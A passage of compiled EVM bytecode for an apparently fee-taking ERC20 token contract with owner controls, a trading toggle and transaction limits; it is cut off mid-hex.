761477861441c565b5b6000614787848285016146bb565b91505092915050565b600060ff82169050919050565b6147a681614790565b82525050565b60006020820190506147c1600083018461479d565b92915050565b6000602082840312156147dd576147dc61441c565b5b60006147eb8482850161459f565b91505092915050565b6000806040838503121561480b5761480a61441c565b5b60006148198582860161459f565b925050602061482a8582860161459f565b9150509250929050565b600061483f82614421565b9050919050565b61484f81614834565b82525050565b600060208201905061486a6000830184614846565b92915050565b600080604083850312156148875761488661441c565b5b60006148958582860161446a565b92505060206148a68582860161446a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006148e66020836144e1565b91506148f1826148b0565b602082019050919050565b60006020820190508181036000830152614915816148d9565b9050919050565b60008151905061492b81614453565b92915050565b6000602082840312156149475761494661441c565b5b60006149558482850161491c565b91505092915050565b600060408201905061497360008301856144ac565b61498060208301846144ac565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806149ce57607f821691505b6020821081036149e1576149e0614987565b5b50919050565b7f43616e6e6f742073657420746f20616464726573732030000000000000000000600082015250565b6000614a1d6017836144e1565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656542757960008201527f206f72206c657373000000000000000000000000000000000000000000000000602082015250565b6000614aaf6028836144e1565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656553656c60008201527f6c206f72206c6573730000000000000000000000000000000000000000000000602082015250565b6000614b416029836144e1565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614bb1826143e8565b9150614bbc836143e8565b9250828201905080821115614bd457614bd3614b77565b5b92915050565b7f446973747269627574696f6e206e6565647320746f20746f74616c20746f203160008201527f3030000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c366022836144e1565b9150614c4182614bda565b604082019050919050565b60006020820190508181036000830152614c6581614c29565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cc86026836144e1565b9150614cd382614c6c565b604082019050919050565b60006020820190508181036000830152614cf781614cbb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614d81614d7c614d7784614d5c565b61462a565b6143e8565b9050919050565b614d9181614d66565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614dcc81614441565b82525050565b6000614dde8383614dc3565b60208301905092915050565b6000602082019050919050565b6000614e0282614d97565b614e0c8185614da2565b9350614e1783614db3565b8060005b83811015614e48578151614e2f8882614dd2565b9750614e3a83614dea565b925050600181019050614e1b565b5085935050505092915050565b6000608082019050614e6a6000830187614d88565b8181036020830152614e7c8186614df7565b9050614e8b60408301856144ac565b614e9860608301846143f2565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614efd6024836144e1565b9150614f0882614ea1565b604082019050919050565b60006020820190508181036000830152614f2c81614ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f8f6022836144e1565b9150614f9a82614f33565b604082019050919050565b60006020820190508181036000830152614fbe81614f82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150216025836144e1565b915061502c82614fc5565b604082019050919050565b6000602082019050818103600083015261505081615014565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150b36023836144e1565b91506150be82615057565b604082019050919050565b600060208201905081810360008301526150e2816150a6565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000615145603f836144e1565b9150615150826150e9565b604082019050919050565b6000602082019050818103600083015261517481615138565b9050919050565b6000615186826143e8565b9150615191836143e8565b92508282039050818111156151a9576151a8614b77565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006151e5601b836144e1565b91506151f0826151af565b602082019050919050565b60006020820190508181036000830152615214816151d8565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006152516011836144e1565b915061525c8261521b565b602082019050919050565b6000602082019050818103600083015261528081615244565b9050919050565b600060608201905061529c60008301866143f2565b6152a960208301856143f2565b6152b660408301846143f2565b949350505050565b60006152c9826143e8565b91506152d4836143e8565b92508282026152e2816143e8565b915082820484148315176152f9576152f8614b77565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061533a826143e8565b9150615345836143e8565b92508261535557615354615300565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006153bc6021836144e1565b91506153c782615360565b604082019050919050565b600060208201905081810360008301526153eb816153af565b9050919050565b600060a08201905061540760008301886143f2565b6154146020830187614d88565b81810360408301526154268186614df7565b905061543560608301856144ac565b61544260808301846143f2565b9695505050505050565b600060408201905061546160008301856143f2565b81810360208301526154738184614df7565b90509392505050565b600060c08201905061549160008301896144ac565b61549e60208301886143f2565b6154ab6040830187614d88565b6154b86060830186614d88565b6154c560808301856144ac565b6154d260a08301846143f2565b979650505050505050565b6000815190506154ec81614588565b92915050565b60008060006060848603121561550b5761550a61441c565b5b6000615519868287016154dd565b935050602061552a868287016154dd565b925050604061553b868287016154dd565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209aeb2d9c2cc665586f6f1faafb1e8d4826b161092a8c4fb715e5299588febf3664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106103855760003560e01c80637d1db4a5116101d1578063d469801611610102578063f1d5f517116100a0578063fb002c971161006f578063fb002c9714610d25578063fc155d1d14610d50578063fd72e22a14610d79578063ffb54a9914610da45761038c565b8063f1d5f51714610c7f578063f2fde38b14610ca8578063f84ba65d14610cd1578063f872858a14610cfa5761038c565b8063e37ba8f9116100dc578063e37ba8f914610bdb578063ec28438a14610c04578063eea5b63f14610c2d578063ef422a1814610c565761038c565b8063d469801614610b48578063dd62ed3e14610b73578063e10e9f3214610bb05761038c565b8063a073d37f1161016f578063a9059cbb11610149578063a9059cbb14610a78578063ac23ca5914610ab5578063c816841b14610ae0578063c867d60b14610b0b5761038c565b8063a073d37f146109e5578063a08e671f14610a10578063a457c2d714610a3b5761038c565b8063844d591c116101ab578063844d591c1461093d578063876b6f8e146109665780638da5cb5b1461098f57806395d89b41146109ba5761038c565b80637d1db4a5146108bc578063807c2d9c146108e757806382d20116146109125761038c565b80632b112e49116102b65780633ecad2711161025457806370a082311161022357806370a0823114610826578063715018a6146108635780637849c1cd1461087a5780637c519ffb146108a55761038c565b80633ecad271146107585780634b743995146107955780635342acb4146107c05780636db79437146107fd5761038c565b806330d5d18d1161029057806330d5d18d1461069e578063313ce567146106c757806339509351146106f25780633b97084a1461072f5761038c565b80632b112e491461061d5780632baa7217146106485780632e97766d146106735761038c565b806318160ddd116103235780632198cf6c116102fd5780632198cf6c1461056357806323b872dd1461058c5780632563ae83146105c957806327c8f835146105f25761038c565b806318160ddd146104e257806319c59e2c1461050d5780631a8145bb146105385761038c565b8063095ea7b31161035f578063095ea7b3146104245780630e47e822146104615780631107b3a51461048c5780631694505e146104b75761038c565b8063031d6cd01461039157806304db6e68146103bc57806306fdde03146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610dcf565b6040516103b39190614401565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de919061447f565b610dd5565b6040516103f091906144bb565b60405180910390f35b34801561040557600080fd5b5061040e6112d8565b60405161041b9190614566565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906145b4565b61136a565b604051610458919061460f565b60405180910390f35b34801561046d57600080fd5b50610476611388565b6040516104839190614401565b60405180910390f35b34801561049857600080fd5b506104a161138e565b6040516104ae9190614401565b60405180910390f35b3480156104c357600080fd5b506104cc611394565b6040516104d99190614689565b60405180910390f35b3480156104ee57600080fd5b506104f76113ba565b6040516105049190614401565b60405180910390f35b34801561051957600080fd5b506105226113c4565b60405161052f9190614401565b60405180910390f35b34801561054457600080fd5b5061054d6113ca565b60405161055a9190614401565b60405180910390f35b34801561056f57600080fd5b5061058a600480360381019061058591906146d0565b6113d0565b005b34801561059857600080fd5b506105b360048036038101906105ae9190614710565b6114c0565b6040516105c0919061460f565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190614763565b61159a565b005b3480156105fe57600080fd5b5061060761164c565b60405161061491906144bb565b60405180910390f35b34801561062957600080fd5b50610632611670565b60405161063f9190614401565b60405180910390f35b34801561065457600080fd5b5061065d6116b4565b60405161066a9190614401565b60405180910390f35b34801561067f57600080fd5b506106886116ba565b6040516106959190614401565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061447f565b6116c2565b005b3480156106d357600080fd5b506106dc611958565b6040516106e991906147ac565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906145b4565b61196f565b604051610726919061460f565b60405180910390f35b34801561073b57600080fd5b50610756600480360381019061075191906147c7565b611a22565b005b34801561076457600080fd5b5061077f600480360381019061077a919061447f565b611ac1565b60405161078c919061460f565b60405180910390f35b3480156107a157600080fd5b506107aa611ae1565b6040516107b79190614401565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e2919061447f565b611ae7565b6040516107f4919061460f565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f91906147f4565b611b07565b005b34801561083257600080fd5b5061084d6004803603810190610848919061447f565b611bf1565b60405161085a9190614401565b60405180910390f35b34801561086f57600080fd5b50610878611c3a565b005b34801561088657600080fd5b5061088f611d8d565b60405161089c9190614401565b60405180910390f35b3480156108b157600080fd5b506108ba611d93565b005b3480156108c857600080fd5b506108d1611e45565b6040516108de9190614401565b60405180910390f35b3480156108f357600080fd5b506108fc611e4b565b6040516109099190614401565b60405180910390f35b34801561091e57600080fd5b50610927611e51565b6040516109349190614401565b60405180910390f35b34801561094957600080fd5b50610964600480360381019061095f91906146d0565b611e57565b005b34801561097257600080fd5b5061098d600480360381019061098891906147f4565b611f47565b005b34801561099b57600080fd5b506109a4612031565b6040516109b191906144bb565b60405180910390f35b3480156109c657600080fd5b506109cf61205a565b6040516109dc9190614566565b60405180910390f35b3480156109f157600080fd5b506109fa6120ec565b604051610a079190614401565b60405180910390f35b348015610a1c57600080fd5b50610a256120f6565b604051610a329190614401565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d91906145b4565b6120fc565b604051610a6f919061460f565b60405180910390f35b348015610a8457600080fd5b50610a9f6004803603810190610a9a91906145b4565b6121c9565b604051610aac919061460f565b60405180910390f35b348015610ac157600080fd5b50610aca6121e8565b604051610ad79190614401565b60405180910390f35b348015610aec57600080fd5b50610af56121ee565b604051610b0291906144bb565b60405180910390f35b348015610b1757600080fd5b50610b326004803603810190610b2d919061447f565b612214565b604051610b3f919061460f565b60405180910390f35b348015610b5457600080fd5b50610b5d612234565b604051610b6a9190614855565b60405180910390f35b348015610b7f57600080fd5b50610b9a6004803603810190610b959190614870565b61225a565b604051610ba79190614401565b60405180910390f35b348015610bbc57600080fd5b50610bc56122e1565b604051610bd29190614401565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd919061447f565b6122e7565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906147c7565b61257d565b005b348015610c3957600080fd5b50610c546004803603810190610c4f91906147f4565b61261c565b005b348015610c6257600080fd5b50610c7d6004803603810190610c7891906146d0565b61271e565b005b348015610c8b57600080fd5b50610ca66004803603810190610ca191906147c7565b61280e565b005b348015610cb457600080fd5b50610ccf6004803603810190610cca919061447f565b6128ad565b005b348015610cdd57600080fd5b50610cf86004803603810190610cf391906146d0565b612a6e565b005b348015610d0657600080fd5b50610d0f612b5e565b604051610d1c919061460f565b60405180910390f35b348015610d3157600080fd5b50610d3a612b71565b604051610d479190614401565b60405180910390f35b348015610d5c57600080fd5b50610d776004803603810190610d7291906147c7565b612b77565b005b348015610d8557600080fd5b50610d8e612e23565b604051610d9b9190614855565b60405180910390f35b348015610db057600080fd5b50610db9612e49565b604051610dc6919061460f565b60405180910390f35b600f5481565b6000610ddf612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e63906148fc565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190614931565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190614931565b6040518363ffffffff1660e01b8152600401610f8892919061495e565b602060405180830381865afa158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc99190614931565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190614931565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f99190614931565b6040518363ffffffff1660e01b815260040161111692919061495e565b6020604051808303816000875af1158015611135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111599190614931565b91505b81601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6060600180546112e7906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054611313906149b6565b80156113605780601f1061133557610100808354040283529160200191611360565b820191906000526020600020905b81548152906001019060200180831161134357829003601f168201915b5050505050905090565b600061137e611377612e5c565b8484612e64565b6001905092915050565b60105481565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b600c5481565b601e5481565b6113d8612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c906148fc565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006114cd84848461302d565b5061158f846114da612e5c565b61158a8560405180606001604052806028815260200161554660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611540612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b600190509392505050565b6115a2612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461162f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611626906148fc565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006116af61169e7f000000000000000000000000000000000000000000000000000000000000dead611bf1565b6006546136b990919063ffffffff16565b905090565b60135481565b600043905090565b6116ca612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd90614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f086aa05ff00214e2d0c7c02b8a46b2614ad955732e6b43aa8afca69ed1ad76f860405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000611a1861197c612e5c565b84611a13856005600061198d612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b612e64565b6001905092915050565b611a2a612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae906148fc565b60405180910390fd5b8060078190555050565b601b6020528060005260406000206000915054906101000a900460ff1681565b60115481565b60186020528060005260406000206000915054906101000a900460ff1681565b611b0f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b93906148fc565b60405180910390fd5b611ba68282613761565b600d54600c541115611bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be490614ac5565b60405180910390fd5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c42612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b611d9b612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1f906148fc565b60405180910390fd5b6001602060006101000a81548160ff021916908315150217905550565b60155481565b60165481565b600a5481565b611e5f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee3906148fc565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f4f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd3906148fc565b60405180910390fd5b611fe68282613789565b601154601054111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490614b57565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612069906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054612095906149b6565b80156120e25780601f106120b7576101008083540402835291602001916120e2565b820191906000526020600020905b8154815290600101906020018083116120c557829003601f168201915b5050505050905090565b6000600754905090565b60145481565b60006121bf612109612e5c565b846121ba8560405180606001604052806025815260200161556e6025913960056000612133612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b6001905092915050565b60006121dd6121d6612e5c565b848461302d565b506001905092915050565b60125481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60196020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6122ef612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461237c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612373906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e290614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e60405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612585612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612609906148fc565b60405180910390fd5b8060158190555050565b612624612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a8906148fc565b60405180910390fd5b81601281905550806013819055506013546012546126cf9190614ba6565b60148190555060646014541461271a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271190614c4c565b60405180910390fd5b5050565b612726612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa906148fc565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612816612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a906148fc565b60405180910390fd5b8060168190555050565b6128b5612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612942576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612939906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036129b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a890614cde565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a76612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afa906148fc565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900460ff1681565b601f5481565b612b7f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c03906148fc565b60405180910390fd5b6000600267ffffffffffffffff811115612c2957612c28614cfe565b5b604051908082528060200260200182016040528015612c575781602001602082028036833780820191505090505b509050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190614931565b81600081518110612cff57612cfe614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110612d4e57612d4d614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b8152600401612ded9493929190614e55565b6000604051808303818588803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eca90614f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3990614fa5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516130209190614401565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361309d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309490615037565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361310c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613103906150c9565b60405180910390fd5b602060009054906101000a900460ff1661319657613128612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614613195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318c9061515b565b60405180910390fd5b5b601d60149054906101000a900460ff16156131bd576131b68484846137b1565b905061364e565b6131c5612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156132335750613203612031565b73ffffffffffffffffffffffffffff